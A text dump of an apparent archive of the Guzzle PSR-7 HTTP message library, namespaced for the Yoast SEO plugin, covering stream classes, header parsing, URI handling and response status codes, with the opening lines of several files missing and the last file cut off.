append. Must be readable. * * @throws \InvalidArgumentException if the stream is not readable */ public function addStream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream) : void { if (!$stream->isReadable()) { throw new \InvalidArgumentException('Each stream must be readable'); } // The stream is only seekable if all streams are seekable if (!$stream->isSeekable()) { $this->seekable = \false; } $this->streams[] = $stream; } public function getContents() : string { return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($this); } /** * Closes each attached stream. */ public function close() : void { $this->pos = $this->current = 0; $this->seekable = \true; foreach ($this->streams as $stream) { $stream->close(); } $this->streams = []; } /** * Detaches each attached stream. * * Returns null as it's not clear which underlying stream resource to return. */ public function detach() { $this->pos = $this->current = 0; $this->seekable = \true; foreach ($this->streams as $stream) { $stream->detach(); } $this->streams = []; return null; } public function tell() : int { return $this->pos; } /** * Tries to calculate the size by adding the size of each stream. * * If any of the streams do not return a valid number, then the size of the * append stream cannot be determined and null is returned. */ public function getSize() : ?int { $size = 0; foreach ($this->streams as $stream) { $s = $stream->getSize(); if ($s === null) { return null; } $size += $s; } return $size; } public function eof() : bool { return !$this->streams || $this->current >= \count($this->streams) - 1 && $this->streams[$this->current]->eof(); } public function rewind() : void { $this->seek(0); } /** * Attempts to seek to the given position. Only supports SEEK_SET. */ public function seek($offset, $whence = \SEEK_SET) : void { if (!$this->seekable) { throw new \RuntimeException('This AppendStream is not seekable'); } elseif ($whence !== \SEEK_SET) { throw new \RuntimeException('The AppendStream can only seek with SEEK_SET'); } $this->pos = $this->current = 0; // Rewind each stream foreach ($this->streams as $i => $stream) { try { $stream->rewind(); } catch (\Exception $e) { throw new \RuntimeException('Unable to seek stream ' . $i . ' of the AppendStream', 0, $e); } } // Seek to the actual position by reading from each stream while ($this->pos < $offset && !$this->eof()) { $result = $this->read(\min(8096, $offset - $this->pos)); if ($result === '') { break; } } } /** * Reads from all of the appended streams until the length is met or EOF. */ public function read($length) : string { $buffer = ''; $total = \count($this->streams) - 1; $remaining = $length; $progressToNext = \false; while ($remaining > 0) { // Progress to the next stream if needed. if ($progressToNext || $this->streams[$this->current]->eof()) { $progressToNext = \false; if ($this->current === $total) { break; } ++$this->current; } $result = $this->streams[$this->current]->read($remaining); if ($result === '') { $progressToNext = \true; continue; } $buffer .= $result; $remaining = $length - \strlen($buffer); } $this->pos += \strlen($buffer); return $buffer; } public function isReadable() : bool { return \true; } public function isWritable() : bool { return \false; } public function isSeekable() : bool { return $this->seekable; } public function write($string) : int { throw new \RuntimeException('Cannot write to an AppendStream'); } /** * @return mixed */ public function getMetadata($key = null) { return $key ? null : []; } } guzzlehttp/psr7/src/Header.php000066600000007561151734252230012370 0ustar00]+>|[^=]+/', $kvp, $matches)) { $m = $matches[0]; if (isset($m[1])) { $part[\trim($m[0], $trimmed)] = \trim($m[1], $trimmed); } else { $part[] = \trim($m[0], $trimmed); } } } if ($part) { $params[] = $part; } } } return $params; } /** * Converts an array of header values that may contain comma separated * headers into an array of headers with no comma separated values. * * @param string|array $header Header to normalize. * * @deprecated Use self::splitList() instead. */ public static function normalize($header) : array { $result = []; foreach ((array) $header as $value) { foreach (self::splitList($value) as $parsed) { $result[] = $parsed; } } return $result; } /** * Splits a HTTP header defined to contain a comma-separated list into * each individual value. Empty values will be removed. * * Example headers include 'accept', 'cache-control' and 'if-none-match'. * * This method must not be used to parse headers that are not defined as * a list, such as 'user-agent' or 'set-cookie'. * * @param string|string[] $values Header value as returned by MessageInterface::getHeader() * * @return string[] */ public static function splitList($values) : array { if (!\is_array($values)) { $values = [$values]; } $result = []; foreach ($values as $value) { if (!\is_string($value)) { throw new \TypeError('$header must either be a string or an array containing strings.'); } $v = ''; $isQuoted = \false; $isEscaped = \false; for ($i = 0, $max = \strlen($value); $i < $max; ++$i) { if ($isEscaped) { $v .= $value[$i]; $isEscaped = \false; continue; } if (!$isQuoted && $value[$i] === ',') { $v = \trim($v); if ($v !== '') { $result[] = $v; } $v = ''; continue; } if ($isQuoted && $value[$i] === '\\') { $isEscaped = \true; $v .= $value[$i]; continue; } if ($value[$i] === '"') { $isQuoted = !$isQuoted; $v .= $value[$i]; continue; } $v .= $value[$i]; } $v = \trim($v); if ($v !== '') { $result[] = $v; } } return $result; } } guzzlehttp/psr7/src/BufferStream.php000066600000006321151734252230013556 0ustar00hwm = $hwm; } public function __toString() : string { return $this->getContents(); } public function getContents() : string { $buffer = $this->buffer; $this->buffer = ''; return $buffer; } public function close() : void { $this->buffer = ''; } public function detach() { $this->close(); return null; } public function getSize() : ?int { return \strlen($this->buffer); } public function isReadable() : bool { return \true; } public function isWritable() : bool { return \true; } public function isSeekable() : bool { return \false; } public function rewind() : void { $this->seek(0); } public function seek($offset, $whence = \SEEK_SET) : void { throw new \RuntimeException('Cannot seek a BufferStream'); } public function eof() : bool { return \strlen($this->buffer) === 0; } public function tell() : int { throw new \RuntimeException('Cannot determine the position of a BufferStream'); } /** * Reads data from the buffer. */ public function read($length) : string { $currentLength = \strlen($this->buffer); if ($length >= $currentLength) { // No need to slice the buffer because we don't have enough data. $result = $this->buffer; $this->buffer = ''; } else { // Slice up the result to provide a subset of the buffer. $result = \substr($this->buffer, 0, $length); $this->buffer = \substr($this->buffer, $length); } return $result; } /** * Writes data to the buffer. */ public function write($string) : int { $this->buffer .= $string; if (\strlen($this->buffer) >= $this->hwm) { return 0; } return \strlen($string); } /** * @return mixed */ public function getMetadata($key = null) { if ($key === 'hwm') { return $this->hwm; } return $key ? null : []; } } guzzlehttp/psr7/src/NoSeekStream.php000066600000001116151734252230013526 0ustar00source = $source; $this->size = $options['size'] ?? null; $this->metadata = $options['metadata'] ?? []; $this->buffer = new \YoastSEO_Vendor\GuzzleHttp\Psr7\BufferStream(); } public function __toString() : string { try { return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($this); } catch (\Throwable $e) { if (\PHP_VERSION_ID >= 70400) { throw $e; } \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR); return ''; } } public function close() : void { $this->detach(); } public function detach() { $this->tellPos = 0; $this->source = null; return null; } public function getSize() : ?int { return $this->size; } public function tell() : int { return $this->tellPos; } public function eof() : bool { return $this->source === null; } public function isSeekable() : bool { return \false; } public function rewind() : void { $this->seek(0); } public function seek($offset, $whence = \SEEK_SET) : void { throw new \RuntimeException('Cannot seek a PumpStream'); } public function isWritable() : bool { return \false; } public function write($string) : int { throw new \RuntimeException('Cannot write to a PumpStream'); } public function isReadable() : bool { return \true; } public function read($length) : string { $data = $this->buffer->read($length); $readLen = \strlen($data); $this->tellPos += $readLen; $remaining = $length - $readLen; if ($remaining) { $this->pump($remaining); $data .= $this->buffer->read($remaining); $this->tellPos += \strlen($data) - $readLen; } return $data; } public function getContents() : string { $result = ''; while (!$this->eof()) { $result .= $this->read(1000000); } return $result; } /** * @return mixed */ public function getMetadata($key = null) { if (!$key) { return $this->metadata; } return $this->metadata[$key] ?? null; } private function pump(int $length) : void { if ($this->source !== null) { do { $data = ($this->source)($length); if ($data === \false || $data === null) { $this->source = null; return; } $this->buffer->write($data); $length -= \strlen($data); } while ($length > 0); } } } guzzlehttp/psr7/src/FnStream.php000066600000010416151734252230012710 0ustar00 */ private $methods; /** * @param array $methods Hash of method name to a callable. */ public function __construct(array $methods) { $this->methods = $methods; // Create the functions on the class foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } /** * Lazily determine which methods are not implemented. * * @throws \BadMethodCallException */ public function __get(string $name) : void { throw new \BadMethodCallException(\str_replace('_fn_', '', $name) . '() is not implemented in the FnStream'); } /** * The close method is called on the underlying stream only if possible. */ public function __destruct() { if (isset($this->_fn_close)) { ($this->_fn_close)(); } } /** * An unserialize would allow the __destruct to run when the unserialized value goes out of scope. * * @throws \LogicException */ public function __wakeup() : void { throw new \LogicException('FnStream should never be unserialized'); } /** * Adds custom functionality to an underlying stream by intercepting * specific method calls. * * @param StreamInterface $stream Stream to decorate * @param array $methods Hash of method name to a closure * * @return FnStream */ public static function decorate(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, array $methods) { // If any of the required methods were not provided, then simply // proxy to the decorated stream. foreach (\array_diff(self::SLOTS, \array_keys($methods)) as $diff) { /** @var callable $callable */ $callable = [$stream, $diff]; $methods[$diff] = $callable; } return new self($methods); } public function __toString() : string { try { /** @var string */ return ($this->_fn___toString)(); } catch (\Throwable $e) { if (\PHP_VERSION_ID >= 70400) { throw $e; } \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR); return ''; } } public function close() : void { ($this->_fn_close)(); } public function detach() { return ($this->_fn_detach)(); } public function getSize() : ?int { return ($this->_fn_getSize)(); } public function tell() : int { return ($this->_fn_tell)(); } public function eof() : bool { return ($this->_fn_eof)(); } public function isSeekable() : bool { return ($this->_fn_isSeekable)(); } public function rewind() : void { ($this->_fn_rewind)(); } public function seek($offset, $whence = \SEEK_SET) : void { ($this->_fn_seek)($offset, $whence); } public function isWritable() : bool { return ($this->_fn_isWritable)(); } public function write($string) : int { return ($this->_fn_write)($string); } public function isReadable() : bool { return ($this->_fn_isReadable)(); } public function read($length) : string { return ($this->_fn_read)($length); } public function getContents() : string { return ($this->_fn_getContents)(); } /** * @return mixed */ public function getMetadata($key = null) { return ($this->_fn_getMetadata)($key); } } guzzlehttp/psr7/src/Uri.php000066600000053363151734252230011740 0ustar00 80, 'https' => 443, 'ftp' => 21, 'gopher' => 70, 'nntp' => 119, 'news' => 119, 'telnet' => 23, 'tn3270' => 23, 'imap' => 143, 'pop' => 110, 'ldap' => 389]; /** * Unreserved characters for use in a regex. * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-2.3 */ private const CHAR_UNRESERVED = 'a-zA-Z0-9_\\-\\.~'; /** * Sub-delims for use in a regex. * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-2.2 */ private const CHAR_SUB_DELIMS = '!\\$&\'\\(\\)\\*\\+,;='; private const QUERY_SEPARATORS_REPLACEMENT = ['=' => '%3D', '&' => '%26']; /** @var string Uri scheme. */ private $scheme = ''; /** @var string Uri user info. */ private $userInfo = ''; /** @var string Uri host. */ private $host = ''; /** @var int|null Uri port. */ private $port; /** @var string Uri path. */ private $path = ''; /** @var string Uri query string. */ private $query = ''; /** @var string Uri fragment. */ private $fragment = ''; /** @var string|null String representation */ private $composedComponents; public function __construct(string $uri = '') { if ($uri !== '') { $parts = self::parse($uri); if ($parts === \false) { throw new \YoastSEO_Vendor\GuzzleHttp\Psr7\Exception\MalformedUriException("Unable to parse URI: {$uri}"); } $this->applyParts($parts); } } /** * UTF-8 aware \parse_url() replacement. * * The internal function produces broken output for non ASCII domain names * (IDN) when used with locales other than "C". * * On the other hand, cURL understands IDN correctly only when UTF-8 locale * is configured ("C.UTF-8", "en_US.UTF-8", etc.). * * @see https://bugs.php.net/bug.php?id=52923 * @see https://www.php.net/manual/en/function.parse-url.php#114817 * @see https://curl.haxx.se/libcurl/c/CURLOPT_URL.html#ENCODING * * @return array|false */ private static function parse(string $url) { // If IPv6 $prefix = ''; if (\preg_match('%^(.*://\\[[0-9:a-f]+\\])(.*?)$%', $url, $matches)) { /** @var array{0:string, 1:string, 2:string} $matches */ $prefix = $matches[1]; $url = $matches[2]; } /** @var string */ $encodedUrl = \preg_replace_callback('%[^:/@?&=#]+%usD', static function ($matches) { return \urlencode($matches[0]); }, $url); $result = \parse_url($prefix . $encodedUrl); if ($result === \false) { return \false; } return \array_map('urldecode', $result); } public function __toString() : string { if ($this->composedComponents === null) { $this->composedComponents = self::composeComponents($this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment); } return $this->composedComponents; } /** * Composes a URI reference string from its various components. * * Usually this method does not need to be called manually but instead is used indirectly via * `Psr\Http\Message\UriInterface::__toString`. * * PSR-7 UriInterface treats an empty component the same as a missing component as * getQuery(), getFragment() etc. always return a string. This explains the slight * difference to RFC 3986 Section 5.3. * * Another adjustment is that the authority separator is added even when the authority is missing/empty * for the "file" scheme. This is because PHP stream functions like `file_get_contents` only work with * `file:///myfile` but not with `file:/myfile` although they are equivalent according to RFC 3986. But * `file:///` is the more common syntax for the file scheme anyway (Chrome for example redirects to * that format). * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5.3 */ public static function composeComponents(?string $scheme, ?string $authority, string $path, ?string $query, ?string $fragment) : string { $uri = ''; // weak type checks to also accept null until we can add scalar type hints if ($scheme != '') { $uri .= $scheme . ':'; } if ($authority != '' || $scheme === 'file') { $uri .= '//' . $authority; } if ($authority != '' && $path != '' && $path[0] != '/') { $path = '/' . $path; } $uri .= $path; if ($query != '') { $uri .= '?' . $query; } if ($fragment != '') { $uri .= '#' . $fragment; } return $uri; } /** * Whether the URI has the default port of the current scheme. * * `Psr\Http\Message\UriInterface::getPort` may return null or the standard port. This method can be used * independently of the implementation. */ public static function isDefaultPort(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool { return $uri->getPort() === null || isset(self::DEFAULT_PORTS[$uri->getScheme()]) && $uri->getPort() === self::DEFAULT_PORTS[$uri->getScheme()]; } /** * Whether the URI is absolute, i.e. it has a scheme. * * An instance of UriInterface can either be an absolute URI or a relative reference. This method returns true * if it is the former. An absolute URI has a scheme. A relative reference is used to express a URI relative * to another URI, the base URI. Relative references can be divided into several forms: * - network-path references, e.g. '//example.com/path' * - absolute-path references, e.g. '/path' * - relative-path references, e.g. 'subpath' * * @see Uri::isNetworkPathReference * @see Uri::isAbsolutePathReference * @see Uri::isRelativePathReference * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4 */ public static function isAbsolute(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool { return $uri->getScheme() !== ''; } /** * Whether the URI is a network-path reference. * * A relative reference that begins with two slash characters is termed an network-path reference. * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2 */ public static function isNetworkPathReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool { return $uri->getScheme() === '' && $uri->getAuthority() !== ''; } /** * Whether the URI is a absolute-path reference. * * A relative reference that begins with a single slash character is termed an absolute-path reference. * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2 */ public static function isAbsolutePathReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool { return $uri->getScheme() === '' && $uri->getAuthority() === '' && isset($uri->getPath()[0]) && $uri->getPath()[0] === '/'; } /** * Whether the URI is a relative-path reference. * * A relative reference that does not begin with a slash character is termed a relative-path reference. * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2 */ public static function isRelativePathReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool { return $uri->getScheme() === '' && $uri->getAuthority() === '' && (!isset($uri->getPath()[0]) || $uri->getPath()[0] !== '/'); } /** * Whether the URI is a same-document reference. * * A same-document reference refers to a URI that is, aside from its fragment * component, identical to the base URI. When no base URI is given, only an empty * URI reference (apart from its fragment) is considered a same-document reference. * * @param UriInterface $uri The URI to check * @param UriInterface|null $base An optional base URI to compare against * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.4 */ public static function isSameDocumentReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $base = null) : bool { if ($base !== null) { $uri = \YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::resolve($base, $uri); return $uri->getScheme() === $base->getScheme() && $uri->getAuthority() === $base->getAuthority() && $uri->getPath() === $base->getPath() && $uri->getQuery() === $base->getQuery(); } return $uri->getScheme() === '' && $uri->getAuthority() === '' && $uri->getPath() === '' && $uri->getQuery() === ''; } /** * Creates a new URI with a specific query string value removed. * * Any existing query string values that exactly match the provided key are * removed. * * @param UriInterface $uri URI to use as a base. * @param string $key Query string key to remove. */ public static function withoutQueryValue(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, string $key) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $result = self::getFilteredQueryString($uri, [$key]); return $uri->withQuery(\implode('&', $result)); } /** * Creates a new URI with a specific query string value. * * Any existing query string values that exactly match the provided key are * removed and replaced with the given key value pair. * * A value of null will set the query string key without a value, e.g. "key" * instead of "key=value". * * @param UriInterface $uri URI to use as a base. * @param string $key Key to set. * @param string|null $value Value to set */ public static function withQueryValue(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, string $key, ?string $value) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $result = self::getFilteredQueryString($uri, [$key]); $result[] = self::generateQueryString($key, $value); return $uri->withQuery(\implode('&', $result)); } /** * Creates a new URI with multiple specific query string values. * * It has the same behavior as withQueryValue() but for an associative array of key => value. * * @param UriInterface $uri URI to use as a base. * @param (string|null)[] $keyValueArray Associative array of key and values */ public static function withQueryValues(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, array $keyValueArray) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $result = self::getFilteredQueryString($uri, \array_keys($keyValueArray)); foreach ($keyValueArray as $key => $value) { $result[] = self::generateQueryString((string) $key, $value !== null ? (string) $value : null); } return $uri->withQuery(\implode('&', $result)); } /** * Creates a URI from a hash of `parse_url` components. * * @see https://www.php.net/manual/en/function.parse-url.php * * @throws MalformedUriException If the components do not form a valid URI. */ public static function fromParts(array $parts) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $uri = new self(); $uri->applyParts($parts); $uri->validateState(); return $uri; } public function getScheme() : string { return $this->scheme; } public function getAuthority() : string { $authority = $this->host; if ($this->userInfo !== '') { $authority = $this->userInfo . '@' . $authority; } if ($this->port !== null) { $authority .= ':' . $this->port; } return $authority; } public function getUserInfo() : string { return $this->userInfo; } public function getHost() : string { return $this->host; } public function getPort() : ?int { return $this->port; } public function getPath() : string { return $this->path; } public function getQuery() : string { return $this->query; } public function getFragment() : string { return $this->fragment; } public function withScheme($scheme) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $scheme = $this->filterScheme($scheme); if ($this->scheme === $scheme) { return $this; } $new = clone $this; $new->scheme = $scheme; $new->composedComponents = null; $new->removeDefaultPort(); $new->validateState(); return $new; } public function withUserInfo($user, $password = null) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $info = $this->filterUserInfoComponent($user); if ($password !== null) { $info .= ':' . $this->filterUserInfoComponent($password); } if ($this->userInfo === $info) { return $this; } $new = clone $this; $new->userInfo = $info; $new->composedComponents = null; $new->validateState(); return $new; } public function withHost($host) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $host = $this->filterHost($host); if ($this->host === $host) { return $this; } $new = clone $this; $new->host = $host; $new->composedComponents = null; $new->validateState(); return $new; } public function withPort($port) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $port = $this->filterPort($port); if ($this->port === $port) { return $this; } $new = clone $this; $new->port = $port; $new->composedComponents = null; $new->removeDefaultPort(); $new->validateState(); return $new; } public function withPath($path) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $path = $this->filterPath($path); if ($this->path === $path) { return $this; } $new = clone $this; $new->path = $path; $new->composedComponents = null; $new->validateState(); return $new; } public function withQuery($query) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $query = $this->filterQueryAndFragment($query); if ($this->query === $query) { return $this; } $new = clone $this; $new->query = $query; $new->composedComponents = null; return $new; } public function withFragment($fragment) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $fragment = $this->filterQueryAndFragment($fragment); if ($this->fragment === $fragment) { return $this; } $new = clone $this; $new->fragment = $fragment; $new->composedComponents = null; return $new; } public function jsonSerialize() : string { return $this->__toString(); } /** * Apply parse_url parts to a URI. * * @param array $parts Array of parse_url parts to apply. */ private function applyParts(array $parts) : void { $this->scheme = isset($parts['scheme']) ? $this->filterScheme($parts['scheme']) : ''; $this->userInfo = isset($parts['user']) ? $this->filterUserInfoComponent($parts['user']) : ''; $this->host = isset($parts['host']) ? $this->filterHost($parts['host']) : ''; $this->port = isset($parts['port']) ? $this->filterPort($parts['port']) : null; $this->path = isset($parts['path']) ? $this->filterPath($parts['path']) : ''; $this->query = isset($parts['query']) ? $this->filterQueryAndFragment($parts['query']) : ''; $this->fragment = isset($parts['fragment']) ? $this->filterQueryAndFragment($parts['fragment']) : ''; if (isset($parts['pass'])) { $this->userInfo .= ':' . $this->filterUserInfoComponent($parts['pass']); } $this->removeDefaultPort(); } /** * @param mixed $scheme * * @throws \InvalidArgumentException If the scheme is invalid. */ private function filterScheme($scheme) : string { if (!\is_string($scheme)) { throw new \InvalidArgumentException('Scheme must be a string'); } return \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); } /** * @param mixed $component * * @throws \InvalidArgumentException If the user info is invalid. */ private function filterUserInfoComponent($component) : string { if (!\is_string($component)) { throw new \InvalidArgumentException('User info must be a string'); } return \preg_replace_callback('/(?:[^%' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . ']+|%(?![A-Fa-f0-9]{2}))/', [$this, 'rawurlencodeMatchZero'], $component); } /** * @param mixed $host * * @throws \InvalidArgumentException If the host is invalid. */ private function filterHost($host) : string { if (!\is_string($host)) { throw new \InvalidArgumentException('Host must be a string'); } return \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); } /** * @param mixed $port * * @throws \InvalidArgumentException If the port is invalid. */ private function filterPort($port) : ?int { if ($port === null) { return null; } $port = (int) $port; if (0 > $port || 0xffff < $port) { throw new \InvalidArgumentException(\sprintf('Invalid port: %d. Must be between 0 and 65535', $port)); } return $port; } /** * @param (string|int)[] $keys * * @return string[] */ private static function getFilteredQueryString(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, array $keys) : array { $current = $uri->getQuery(); if ($current === '') { return []; } $decodedKeys = \array_map(function ($k) : string { return \rawurldecode((string) $k); }, $keys); return \array_filter(\explode('&', $current), function ($part) use($decodedKeys) { return !\in_array(\rawurldecode(\explode('=', $part)[0]), $decodedKeys, \true); }); } private static function generateQueryString(string $key, ?string $value) : string { // Query string separators ("=", "&") within the key or value need to be encoded // (while preventing double-encoding) before setting the query string. All other // chars that need percent-encoding will be encoded by withQuery(). $queryString = \strtr($key, self::QUERY_SEPARATORS_REPLACEMENT); if ($value !== null) { $queryString .= '=' . \strtr($value, self::QUERY_SEPARATORS_REPLACEMENT); } return $queryString; } private function removeDefaultPort() : void { if ($this->port !== null && self::isDefaultPort($this)) { $this->port = null; } } /** * Filters the path of a URI * * @param mixed $path * * @throws \InvalidArgumentException If the path is invalid. */ private function filterPath($path) : string { if (!\is_string($path)) { throw new \InvalidArgumentException('Path must be a string'); } return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\\/]++|%(?![A-Fa-f0-9]{2}))/', [$this, 'rawurlencodeMatchZero'], $path); } /** * Filters the query string or fragment of a URI. * * @param mixed $str * * @throws \InvalidArgumentException If the query or fragment is invalid. */ private function filterQueryAndFragment($str) : string { if (!\is_string($str)) { throw new \InvalidArgumentException('Query and fragment must be a string'); } return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\\/\\?]++|%(?![A-Fa-f0-9]{2}))/', [$this, 'rawurlencodeMatchZero'], $str); } private function rawurlencodeMatchZero(array $match) : string { return \rawurlencode($match[0]); } private function validateState() : void { if ($this->host === '' && ($this->scheme === 'http' || $this->scheme === 'https')) { $this->host = self::HTTP_DEFAULT_HOST; } if ($this->getAuthority() === '') { if (0 === \strpos($this->path, '//')) { throw new \YoastSEO_Vendor\GuzzleHttp\Psr7\Exception\MalformedUriException('The path of a URI without an authority must not start with two slashes "//"'); } if ($this->scheme === '' && \false !== \strpos(\explode('/', $this->path, 2)[0], ':')) { throw new \YoastSEO_Vendor\GuzzleHttp\Psr7\Exception\MalformedUriException('A relative URI must not have a path beginning with a segment containing a colon'); } } } } guzzlehttp/psr7/src/Response.php000066600000010646151734252230012774 0ustar00 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-status', 208 => 'Already Reported', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Switch Proxy', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Unordered Collection', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Time-out', 505 => 'HTTP Version not supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 508 => 'Loop Detected', 510 => 'Not Extended', 511 => 'Network Authentication Required']; /** @var string */ private $reasonPhrase; /** @var int */ private $statusCode; /** * @param int $status Status code * @param (string|string[])[] $headers Response headers * @param string|resource|StreamInterface|null $body Response body * @param string $version Protocol version * @param string|null $reason Reason phrase (when empty a default will be used based on the status code) */ public function __construct(int $status = 200, array $headers = [], $body = null, string $version = '1.1', string $reason = null) { $this->assertStatusCodeRange($status); $this->statusCode = $status; if ($body !== '' && $body !== null) { $this->stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($body); } $this->setHeaders($headers); if ($reason == '' && isset(self::PHRASES[$this->statusCode])) { $this->reasonPhrase = self::PHRASES[$this->statusCode]; } else { $this->reasonPhrase = (string) $reason; } $this->protocol = $version; } public function getStatusCode() : int { return $this->statusCode; } public function getReasonPhrase() : string { return $this->reasonPhrase; } public function withStatus($code, $reasonPhrase = '') : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { $this->assertStatusCodeIsInteger($code); $code = (int) $code; $this->assertStatusCodeRange($code); $new = clone $this; $new->statusCode = $code; if ($reasonPhrase == '' && isset(self::PHRASES[$new->statusCode])) { $reasonPhrase = self::PHRASES[$new->statusCode]; } $new->reasonPhrase = (string) $reasonPhrase; return $new; } /** * @param mixed $statusCode */ private function assertStatusCodeIsInteger($statusCode) : void { if (\filter_var($statusCode, \FILTER_VALIDATE_INT) === \false) { throw new \InvalidArgumentException('Status code must be an integer value.'); } } private function assertStatusCodeRange(int $statusCode) : void { if ($statusCode < 100 || $statusCode >= 600) { throw new \InvalidArgumentException('Status code must be an integer value between 1xx and 5xx.'); } } } guzzlehttp/psr7/src/LimitStream.php000066600000010316151734252230013422 0ustar00stream = $stream; $this->setLimit($limit); $this->setOffset($offset); } public function eof() : bool { // Always return true if the underlying stream is EOF if ($this->stream->eof()) { return \true; } // No limit and the underlying stream is not at EOF if ($this->limit === -1) { return \false; } return $this->stream->tell() >= $this->offset + $this->limit; } /** * Returns the size of the limited subset of data */ public function getSize() : ?int { if (null === ($length = $this->stream->getSize())) { return null; } elseif ($this->limit === -1) { return $length - $this->offset; } else { return \min($this->limit, $length - $this->offset); } } /** * Allow for a bounded seek on the read limited stream */ public function seek($offset, $whence = \SEEK_SET) : void { if ($whence !== \SEEK_SET || $offset < 0) { throw new \RuntimeException(\sprintf('Cannot seek to offset %s with whence %s', $offset, $whence)); } $offset += $this->offset; if ($this->limit !== -1) { if ($offset > $this->offset + $this->limit) { $offset = $this->offset + $this->limit; } } $this->stream->seek($offset); } /** * Give a relative tell() */ public function tell() : int { return $this->stream->tell() - $this->offset; } /** * Set the offset to start limiting from * * @param int $offset Offset to seek to and begin byte limiting from * * @throws \RuntimeException if the stream cannot be seeked. */ public function setOffset(int $offset) : void { $current = $this->stream->tell(); if ($current !== $offset) { // If the stream cannot seek to the offset position, then read to it if ($this->stream->isSeekable()) { $this->stream->seek($offset); } elseif ($current > $offset) { throw new \RuntimeException("Could not seek to stream offset {$offset}"); } else { $this->stream->read($offset - $current); } } $this->offset = $offset; } /** * Set the limit of bytes that the decorator allows to be read from the * stream. * * @param int $limit Number of bytes to allow to be read from the stream. * Use -1 for no limit. */ public function setLimit(int $limit) : void { $this->limit = $limit; } public function read($length) : string { if ($this->limit === -1) { return $this->stream->read($length); } // Check if the current position is less than the total allowed // bytes + original offset $remaining = $this->offset + $this->limit - $this->stream->tell(); if ($remaining > 0) { // Only return the amount of requested data, ensuring that the byte // limit is not exceeded return $this->stream->read(\min($remaining, $length)); } return ''; } } guzzlehttp/psr7/src/LazyOpenStream.php000066600000002340151734252230014103 0ustar00filename = $filename; $this->mode = $mode; // unsetting the property forces the first access to go through // __get(). unset($this->stream); } /** * Creates the underlying stream lazily when required. */ protected function createStream() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($this->filename, $this->mode)); } } guzzlehttp/psr7/src/MultipartStream.php000066600000013505151734252230014330 0ustar00 $reference) { if (is_dir($reference) ? 